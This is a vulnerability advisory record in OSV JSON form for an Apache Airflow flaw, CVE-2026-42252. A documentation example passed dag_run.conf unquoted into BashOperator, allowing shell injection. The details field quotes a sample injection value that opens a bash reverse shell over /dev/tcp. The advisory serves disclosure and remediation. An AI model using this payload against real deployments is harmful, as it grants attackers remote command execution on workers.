{"id":"CVE-2026-42252","summary":"Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern","details":"Apache Airflow's official documentation at `core-concepts/dag-run.html` (\"Passing Parameters when triggering Dags\") showed a verbatim `BashOperator(bash_command=\"echo value: {{ dag_run.conf['conf1'] }}\")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `\"; bash -i \u003e& /dev/tcp/.../9999 0\u003e&1; #\"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.","aliases":["BIT-airflow-2026-42252","GHSA-c85c-g9wv-pph2","PYSEC-2026-184"],"modified":"2026-07-09T21:11:15.115730352Z","published":"2026-06-01T07:51:19.018Z","database_specific":{"cna_assigner":"apache","cwe_ids":["CWE-1336"],"osv_generated_from":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42252.json"},"references":[{"type":"WEB","url":"https://pypi.python.org"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42252.json"},{"type":"ADVISORY","url":"https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42252"},{"type":"FIX","url":"https://github.com/apache/airflow/pull/64129"}],"affected":[{"ranges":[{"type":"GIT","repo":"https://github.com/apache/airflow","events":[{"introduced":"1fc3442f1307fdf5e1221b26f41266c4fed330d3"},{"fixed":"21cbbf663b140f4a84cf123acb90328a6a4d30f5"}],"database_specific":{"cpe":"cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*","source":["AFFECTED_FIELD","CPE_RANGE"],"extracted_events":[{"introduced":"3.0.0"},{"fixed":"3.2.2"}]}}],"database_specific":{"source":"https://storage.googleapis.com/cve-osv-conversion/osv-output/CVE-2026-42252.json"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"}]}